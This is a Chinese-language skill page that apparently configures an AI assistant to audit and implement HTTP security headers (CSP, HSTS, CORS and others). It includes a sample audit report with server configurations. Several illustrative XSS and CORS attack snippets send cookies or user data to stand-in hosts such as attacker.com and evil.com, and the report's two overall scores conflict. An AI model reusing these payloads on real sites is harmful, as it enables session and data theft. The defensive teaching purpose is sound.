安全头技能Skill security-headers

该技能专注于HTTP安全头的验证与实现,用于保护Web应用程序免受XSS攻击、点击劫持、中间人攻击等安全威胁,涉及内容安全策略(CSP)、严格传输安全(HSTS)、跨源头设置等关键技术,提升Web应用的整体安全防护能力。关键词:HTTP安全头、验证、实现、Web安全、XSS防护、CSP、HSTS、网络安全、安全审计。

安全审计 0 次安装 0 次浏览 更新于 3/11/2026

name: security-headers description: 验证和实现HTTP安全头以保护Web应用程序。

安全头技能

验证和实现HTTP安全头以保护Web应用程序。

指令

您是一个Web安全头专家。当被调用时:

  1. 分析安全头

    • 扫描HTTP响应头
    • 识别缺失的安全头
    • 检查头配置
    • 检测错误配置
    • 验证CSP策略
    • 审查CORS设置
  2. 安全评估

    • 评级头安全态势
    • 识别漏洞
    • 检查最佳实践合规性
    • 测试绕过技术
    • 验证头语法
  3. 攻击预防

    • XSS(跨站脚本攻击)
    • 点击劫持
    • MIME嗅探攻击
    • 中间人攻击
    • 信息泄露
    • 缓存污染
    • 协议降级攻击
  4. 合规检查

    • OWASP建议
    • 安全标准(PCI-DSS、HIPAA)
    • 浏览器兼容性
    • 性能影响评估
  5. 生成报告:提供全面的头分析及实施指导

关键安全头

内容安全策略(CSP)

目的:通过控制资源加载预防XSS攻击

Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' https://fonts.googleapis.com; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'

指令

  • default-src:其他指令的备选
  • script-src:JavaScript源
  • style-src:CSS源
  • img-src:图像源
  • font-src:字体源
  • connect-src:AJAX、WebSocket、EventSource
  • frame-src:Iframe源
  • frame-ancestors:可嵌入此页面的页面
  • base-uri:Base标签URL
  • form-action:表单提交目标

严格传输安全(HSTS)

目的:强制HTTPS连接

Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

参数

  • max-age:持续时间(秒),建议:31536000 = 1年
  • includeSubDomains:应用到所有子域
  • preload:包含在浏览器预加载列表中

X-Frame-Options

目的:预防点击劫持攻击

X-Frame-Options: DENY

  • DENY:完全不能嵌入框架
  • SAMEORIGIN:只能由相同源嵌入
  • ALLOW-FROM uri:已弃用,使用CSP代替

X-Content-Type-Options

目的:预防MIME嗅探攻击

X-Content-Type-Options: nosniff

X-XSS-Protection

目的:启用浏览器XSS过滤器(旧版,推荐使用CSP)

X-XSS-Protection: 1; mode=block

注意:已弃用,推荐内容安全策略

Referrer-Policy

目的:控制引用信息

Referrer-Policy: strict-origin-when-cross-origin

  • no-referrer:从不发送引用
  • no-referrer-when-downgrade:默认行为
  • origin:只发送源
  • origin-when-cross-origin:同源时发送完整URL
  • same-origin:只用于同源请求
  • strict-origin:只发送源,不在HTTPS→HTTP上
  • strict-origin-when-cross-origin:推荐
  • unsafe-url:始终发送完整URL(不推荐)

Permissions-Policy

目的:控制浏览器功能和API

Permissions-Policy: geolocation=(), microphone=(), camera=(), payment=(), usb=(), magnetometer=(), gyroscope=(), accelerometer=()

跨源头

CORP(Cross-Origin-Resource-Policy)

Cross-Origin-Resource-Policy: same-origin

COEP(Cross-Origin-Embedder-Policy)

Cross-Origin-Embedder-Policy: require-corp

COOP(Cross-Origin-Opener-Policy)

Cross-Origin-Opener-Policy: same-origin

使用示例

@security-headers
@security-headers https://example.com
@security-headers --check-csp
@security-headers --report
@security-headers --fix
@security-headers localhost:3000

头扫描命令

使用curl

# 检查所有头
curl -I https://example.com

# 检查特定头
curl -I https://example.com | grep -i "content-security-policy"

# 跟随重定向
curl -IL https://example.com

# 详细头
curl -v https://example.com 2>&1 | grep -i "^< "

使用在线工具

# Mozilla Observatory
curl "https://http-observatory.security.mozilla.org/api/v1/analyze?host=example.com"

# Security Headers
curl "https://securityheaders.com/?q=example.com&followRedirects=on"

使用自定义脚本

# Node.js头检查器
node check-headers.js https://example.com

# Python头扫描器
python3 scan_headers.py https://example.com

安全头报告格式

# 安全头分析报告

**网站**:https://example.com
**扫描日期**:2024-01-15 14:30:00 UTC
**扫描器**:安全头分析器 v2.0

---

## 整体安全评分

**等级**:C
**分数**:62/100

🔴 关键问题:2
🟠 高优先级:3
🟡 中优先级:4
🟢 低优先级:2

**状态**:⚠️  需要改进

---

## 执行摘要

您的网站因缺失或错误配置的安全头而容易受到几种常见攻击。最关键的问题是:

1. 缺失内容安全策略(导致XSS攻击)
2. 缺失严格传输安全(容易受到MITM攻击)
3. 许可性CORS配置

**立即行动要求**:实施CSP和HSTS头

---

## 头分析

### ✅ 存在的头(3)

#### X-Content-Type-Options: nosniff
**状态**:✅ 正确配置
**等级**:A+
**目的**:预防MIME嗅探攻击

```http
X-Content-Type-Options: nosniff

影响:防止浏览器将文件解释为不同的MIME类型 建议:保留此头


X-Frame-Options: DENY

状态:✅ 正确配置 等级:A+ 目的:预防点击劫持攻击

X-Frame-Options: DENY

影响:防止页面被嵌入框架 建议:保留此头 注意:考虑迁移到CSP frame-ancestors指令


Referrer-Policy: strict-origin-when-cross-origin

状态:✅ 良好配置 等级:A 目的:控制引用信息泄露

Referrer-Policy: strict-origin-when-cross-origin

影响:平衡隐私和功能 建议:大多数应用的最佳设置


❌ 缺失的头(5)

内容安全策略

状态:🔴 缺失 - 关键 等级:F 风险:高 - XSS攻击可能

当前:未设置 影响

  • 无保护对抗XSS攻击
  • JavaScript可以从任何源注入
  • 内联脚本无限制执行
  • 第三方资源加载无控制

漏洞示例

<!-- 攻击者可注入: -->
<script>
  // 窃取cookie
  fetch('https://attacker.com/steal?cookie=' + document.cookie);

  // 劫持会话
  window.location = 'https://attacker.com/phishing';
</script>

推荐配置

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'; style-src 'self' 'unsafe-inline'; img-src 'self' https: data:; font-src 'self'; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'; upgrade-insecure-requests

实施

Express.js

const helmet = require('helmet');

app.use(helmet.contentSecurityPolicy({
  directives: {
    defaultSrc: ["'self'"],
    scriptSrc: ["'self'", "'nonce-{random}'"],
    styleSrc: ["'self'", "'unsafe-inline'"],
    imgSrc: ["'self'", "https:", "data:"],
    fontSrc: ["'self'"],
    connectSrc: ["'self'", "https://api.example.com"],
    frameAncestors: ["'none'"],
    baseUri: ["'self'"],
    formAction: ["'self'"],
    upgradeInsecureRequests: []
  }
}));

Nginx

add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'nonce-{random}'; style-src 'self' 'unsafe-inline'; img-src 'self' https: data:; font-src 'self'; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'; upgrade-insecure-requests" always;

Apache

Header always set Content-Security-Policy "default-src 'self'; script-src 'self' 'nonce-{random}'; style-src 'self' 'unsafe-inline'; img-src 'self' https: data:; font-src 'self'; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'; upgrade-insecure-requests"

测试

// 先使用仅报告模式的CSP
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report

// 收集违规的后端端点
app.post('/csp-report', (req, res) => {
  console.log('CSP违规:', req.body);
  res.status(204).end();
});

优先级:P0 - 立即实施


严格传输安全

状态:🔴 缺失 - 关键 等级:F 风险:高 - MITM攻击可能

当前:未设置 影响

  • 无强制HTTPS
  • 容易受到SSL剥离攻击
  • 中间人攻击可能
  • 会话劫持风险

漏洞示例

用户输入:http://example.com
→ 攻击者拦截未加密的初始请求
→ 提供恶意页面或窃取凭据
→ 即使站点重定向到HTTPS,初始请求也脆弱

推荐配置

Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

实施

Express.js

app.use(helmet.hsts({
  maxAge: 31536000,
  includeSubDomains: true,
  preload: true
}));

Nginx

add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;

Apache

Header always set Strict-Transport-Security "max-age=31536000; includeSubDomains; preload"

先决条件

  1. ✅ 所有子域的HTTPS完全工作
  2. ✅ 有效的SSL证书
  3. ✅ 没有您想保留的仅HTTP子域

HSTS预加载提交

1. 访问:https://hstspreload.org/
2. 确保max-age >= 31536000(1年)
3. 包含includeSubDomains指令
4. 包含preload指令
5. 提交域名到预加载列表

警告

  • 从短max-age开始(例如,300)进行测试
  • 逐步增加:300 → 86400 → 2592000 → 31536000
  • 预加载难以撤销

优先级:P0 - 立即实施


Permissions-Policy

状态:🟠 缺失 - 高 等级:D 风险:中 - 不必要的API访问

当前:未设置 影响

  • 无控制浏览器功能
  • 第三方脚本可以访问摄像头、麦克风、位置
  • 潜在隐私侵犯
  • 意外资源使用

推荐配置

Permissions-Policy: geolocation=(), microphone=(), camera=(), payment=(), usb=(), magnetometer=(), gyroscope=(), accelerometer=(), interest-cohort=()

实施

Express.js

app.use((req, res, next) => {
  res.setHeader('Permissions-Policy',
    'geolocation=(), microphone=(), camera=(), payment=(), usb=(), magnetometer=(), gyroscope=(), accelerometer=(), interest-cohort=()'
  );
  next();
});

Nginx

add_header Permissions-Policy "geolocation=(), microphone=(), camera=(), payment=(), usb=(), magnetometer=(), gyroscope=(), accelerometer=(), interest-cohort=()" always;

自定义权限(如果您需要特定功能):

# 仅允许您的域使用地理位置
Permissions-Policy: geolocation=(self), microphone=(), camera=()

# 允许特定域使用摄像头
Permissions-Policy: camera=(self "https://trusted-video.com"), microphone=()

优先级:P1 - 7天内实施


Cross-Origin-Resource-Policy

状态:🟡 缺失 - 中 等级:C

推荐配置

Cross-Origin-Resource-Policy: same-origin

实施

app.use((req, res, next) => {
  res.setHeader('Cross-Origin-Resource-Policy', 'same-origin');
  next();
});

  • same-origin:仅同源请求(推荐)
  • same-site:同站点请求允许
  • cross-origin:所有源允许

优先级:P2 - 30天内实施


Cross-Origin-Embedder-Policy

状态:🟡 缺失 - 中 等级:C

推荐配置

Cross-Origin-Embedder-Policy: require-corp

优先级:P2 - 30天内实施


⚠️ 错误配置的头(2)

Access-Control-Allow-Origin: *

状态:🔴 关键错误配置 等级:F 风险:高 - 开放CORS策略

当前配置

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

问题: 此配置是危险的无效的。通配符(*)不能与凭据一起使用。

漏洞

// 任何恶意站点都可以进行认证请求:
fetch('https://example.com/api/user/data', {
  credentials: 'include'  // 发送cookie
})
.then(res => res.json())
.then(data => {
  // 攻击者窃取用户数据
  fetch('https://attacker.com/steal', {
    method: 'POST',
    body: JSON.stringify(data)
  });
});

正确配置

// Express.js - 动态CORS
const allowedOrigins = [
  'https://app.example.com',
  'https://admin.example.com'
];

app.use((req, res, next) => {
  const origin = req.headers.origin;
  if (allowedOrigins.includes(origin)) {
    res.setHeader('Access-Control-Allow-Origin', origin);
    res.setHeader('Access-Control-Allow-Credentials', 'true');
  }
  next();
});

使用CORS中间件

const cors = require('cors');

app.use(cors({
  origin: function(origin, callback) {
    if (!origin || allowedOrigins.includes(origin)) {
      callback(null, true);
    } else {
      callback(new Error('不允许的CORS'));
    }
  },
  credentials: true,
  methods: ['GET', 'POST', 'PUT', 'DELETE'],
  allowedHeaders: ['Content-Type', 'Authorization'],
  exposedHeaders: ['X-Total-Count'],
  maxAge: 600
}));

Nginx

set $cors_origin "";
if ($http_origin ~ "^https://(app|admin)\.example\.com$") {
    set $cors_origin $http_origin;
}

add_header Access-Control-Allow-Origin $cors_origin always;
add_header Access-Control-Allow-Credentials true always;
add_header Access-Control-Allow-Methods "GET, POST, PUT, DELETE" always;
add_header Access-Control-Allow-Headers "Content-Type, Authorization" always;

优先级:P0 - 立即修复


X-XSS-Protection: 1; mode=block

状态:⚠️ 已弃用 等级:C

当前配置

X-XSS-Protection: 1; mode=block

问题:此头已弃用,在一些浏览器中可能创建安全漏洞。

建议:移除此头并依赖内容安全策略。

迁移

// 移除X-XSS-Protection
// 实施强CSP
app.use(helmet({
  xssFilter: false,  // 禁用弃用头
  contentSecurityPolicy: {
    directives: {
      defaultSrc: ["'self'"],
      scriptSrc: ["'self'"]
    }
  }
}));

优先级:P2 - 更新配置


安全等级分解

类别 分数 等级
XSS保护 20/30 D
点击劫持保护 10/10 A+
HTTPS强制执行 0/20 F
信息泄露 15/15 A
CORS配置 0/15 F
浏览器功能 0/10 F
整体 45/100 F

可能的攻击向量

1. 跨站脚本攻击(XSS)

风险:关键 原因:无内容安全策略

攻击示例

<!-- 存储型XSS -->
<img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">

<!-- 反射型XSS -->
https://example.com/search?q=<script>alert(document.cookie)</script>

缓解:实施严格CSP


2. 中间人攻击(MITM)

风险:关键 原因:无HSTS头

攻击示例

1. 用户连接到http://example.com(未加密)
2. 攻击者拦截并提供假登录页面
3. 用户输入凭据
4. 攻击者捕获凭据

缓解:实施带预加载的HSTS


3. 跨源数据窃取

风险:高 原因:许可性CORS配置

攻击示例

// 从attacker.com:
fetch('https://example.com/api/sensitive-data', {
  credentials: 'include'
})
.then(r => r.json())
.then(data => {
  // 泄露数据
  navigator.sendBeacon('https://attacker.com/log', JSON.stringify(data));
});

缓解:将CORS限制到信任源


修复计划

阶段1:关键(立即 - 24小时)

1. 修复CORS错误配置

// 移除通配符CORS
- Access-Control-Allow-Origin: *

// 实施源白名单
+ Access-Control-Allow-Origin: https://app.example.com

测试

# 从允许源测试CORS
curl -H "Origin: https://app.example.com" \
     -I https://example.com/api/data

# 从不允许源测试CORS(应失败)
curl -H "Origin: https://evil.com" \
     -I https://example.com/api/data

风险:中(可能破坏集成) 预计时间:2小时


2. 实施HSTS

add_header Strict-Transport-Security "max-age=300" always;

测试期:5分钟(max-age=300) 完全实施:测试后增加到31536000

测试

# 验证HSTS头
curl -I https://example.com | grep -i strict-transport-security

# 测试强制HTTPS
curl -IL http://example.com
# 应重定向到https://

风险:低 预计时间:1小时


阶段2:高优先级(7天内)

3. 实施内容安全策略

第1周:仅报告模式

Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self'; report-uri /csp-report

监控违规7天

第2周:强制执行模式

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'; ...

测试

# 检查CSP头
curl -I https://example.com | grep -i content-security-policy

# 验证CSP有效性
# 打开DevTools控制台,检查CSP违规

风险:高(可能破坏功能) 预计时间:3-5天(包括测试)


4. 添加Permissions-Policy

Permissions-Policy: geolocation=(), microphone=(), camera=()

风险:低 预计时间:1小时


阶段3:中优先级(30天内)

5. 实施跨源头

Cross-Origin-Resource-Policy: same-origin
Cross-Origin-Embedder-Policy: require-corp
Cross-Origin-Opener-Policy: same-origin

风险:中 预计时间:2-3天


6. 移除弃用头

// 移除X-XSS-Protection
- X-XSS-Protection: 1; mode=block

风险:低 预计时间:30分钟


实施代码

完整的Express.js配置

const express = require('express');
const helmet = require('helmet');
const app = express();

// 为CSP生成nonce
app.use((req, res, next) => {
  res.locals.nonce = require('crypto').randomBytes(16).toString('base64');
  next();
});

// 安全头
app.use(helmet({
  contentSecurityPolicy: {
    directives: {
      defaultSrc: ["'self'"],
      scriptSrc: ["'self'", (req, res) => `'nonce-${res.locals.nonce}'`],
      styleSrc: ["'self'", "'unsafe-inline'"],
      imgSrc: ["'self'", "https:", "data:"],
      fontSrc: ["'self'"],
      connectSrc: ["'self'", "https://api.example.com"],
      frameAncestors: ["'none'"],
      baseUri: ["'self'"],
      formAction: ["'self'"],
      upgradeInsecureRequests: []
    }
  },
  hsts: {
    maxAge: 31536000,
    includeSubDomains: true,
    preload: true
  },
  frameguard: {
    action: 'deny'
  },
  noSniff: true,
  xssFilter: false,  // 弃用,使用CSP
  referrerPolicy: {
    policy: 'strict-origin-when-cross-origin'
  },
  crossOriginEmbedderPolicy: true,
  crossOriginOpenerPolicy: { policy: 'same-origin' },
  crossOriginResourcePolicy: { policy: 'same-origin' }
}));

// Permissions Policy
app.use((req, res, next) => {
  res.setHeader('Permissions-Policy',
    'geolocation=(), microphone=(), camera=(), payment=(), usb=()'
  );
  next();
});

// CORS配置
const allowedOrigins = ['https://app.example.com', 'https://admin.example.com'];
app.use((req, res, next) => {
  const origin = req.headers.origin;
  if (allowedOrigins.includes(origin)) {
    res.setHeader('Access-Control-Allow-Origin', origin);
    res.setHeader('Access-Control-Allow-Credentials', 'true');
    res.setHeader('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE');
    res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');
  }
  next();
});

// CSP违规报告
app.post('/csp-report', express.json({ type: 'application/csp-report' }), (req, res) => {
  console.log('CSP违规:', req.body);
  res.status(204).end();
});

app.listen(3000);

完整的Nginx配置

server {
    listen 443 ssl http2;
    server_name example.com;

    # SSL配置
    ssl_certificate /path/to/cert.pem;
    ssl_certificate_key /path/to/key.pem;
    ssl_protocols TLSv1.2 TLSv1.3;
    ssl_ciphers HIGH:!aNULL:!MD5;

    # 安全头
    add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
    add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'nonce-{random}'; style-src 'self' 'unsafe-inline'; img-src 'self' https: data:; font-src 'self'; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'; upgrade-insecure-requests" always;
    add_header X-Frame-Options "DENY" always;
    add_header X-Content-Type-Options "nosniff" always;
    add_header Referrer-Policy "strict-origin-when-cross-origin" always;
    add_header Permissions-Policy "geolocation=(), microphone=(), camera=(), payment=(), usb=()" always;
    add_header Cross-Origin-Resource-Policy "same-origin" always;
    add_header Cross-Origin-Embedder-Policy "require-corp" always;
    add_header Cross-Origin-Opener-Policy "same-origin" always;

    # CORS
    set $cors_origin "";
    if ($http_origin ~ "^https://(app|admin)\.example\.com$") {
        set $cors_origin $http_origin;
    }
    add_header Access-Control-Allow-Origin $cors_origin always;
    add_header Access-Control-Allow-Credentials true always;

    location / {
        proxy_pass http://localhost:3000;
    }
}

# HTTP到HTTPS重定向
server {
    listen 80;
    server_name example.com;
    return 301 https://$server_name$request_uri;
}

测试清单

自动化测试

  • [ ] 运行头扫描工具
  • [ ] 检查Mozilla Observatory分数
  • [ ] 验证SecurityHeaders.com等级
  • [ ] 使用浏览器DevTools测试
  • [ ] CI/CD中的自动化测试

手动测试

  • [ ] 验证HTTPS重定向
  • [ ] 测试CSP违规在控制台
  • [ ] 检查框架嵌入
  • [ ] 从允许/不允许源测试CORS
  • [ ] 验证API访问限制

浏览器兼容性

  • [ ] Chrome/Edge(最新)
  • [ ] Firefox(最新)
  • [ ] Safari(最新)
  • [ ] 移动浏览器

监控和维护

CSP违规监控

// 记录违规
app.post('/csp-report', (req, res) => {
  const violation = req.body['csp-report'];
  logger.warn('CSP违规', {
    blockedURI: violation['blocked-uri'],
    violatedDirective: violation['violated-directive'],
    documentURI: violation['document-uri']
  });
  res.status(204).end();
});

// 关键违规警报
if (violation['violated-directive'].includes('script-src')) {
  alertSecurityTeam(violation);
}

定期审计

  • 每周:自动头扫描
  • 每月:手动安全审查
  • 季度:全面安全评估
  • 变更后:回归测试

最佳实践

头实施

  • ✅ 使用安全头中间件(如helmet)
  • ✅ 在基础设施层应用头(CDN、负载均衡器)
  • ✅ 在生产前在暂存环境测试
  • ✅ 从仅报告模式开始CSP
  • ✅ 监控违规并调整策略
  • ✅ 文档头配置

CSP最佳实践

  • ✅ 从严格开始,根据需要放宽
  • ✅ 为内联脚本使用nonce或hash
  • ✅ 避免’unsafe-inline’和’unsafe-eval’
  • ✅ 使用report-uri或report-to
  • ✅ 定期审查和更新策略

HSTS最佳实践

  • ✅ 从短max-age开始测试
  • ✅ 在includeSubDomains前确保所有子域HTTPS工作
  • ✅ 提交到HSTS预加载列表
  • ✅ 规划长期HTTPS支持

摘要

当前等级:F (45/100) 目标等级:A+ (95+/100) 预计努力:2-3周 优先级:高 - 存在关键漏洞

立即行动

  1. 修复CORS错误配置(今天)
  2. 实施HSTS(今天)
  3. 部署仅报告模式的CSP(本周)
  4. 强制执行CSP(下周)

修复后预期等级:A (90+/100)


## 注意事项

- 先在暂存环境测试头
- 最初使用仅报告模式CSP
- 强制执行前监控CSP违规
- 平衡安全与功能
- 保持头更新最佳实践
- 建议定期安全审计
- 文档所有头配置
- 培训团队安全头
- 使用自动化工具持续监控
- 重大变更后审查头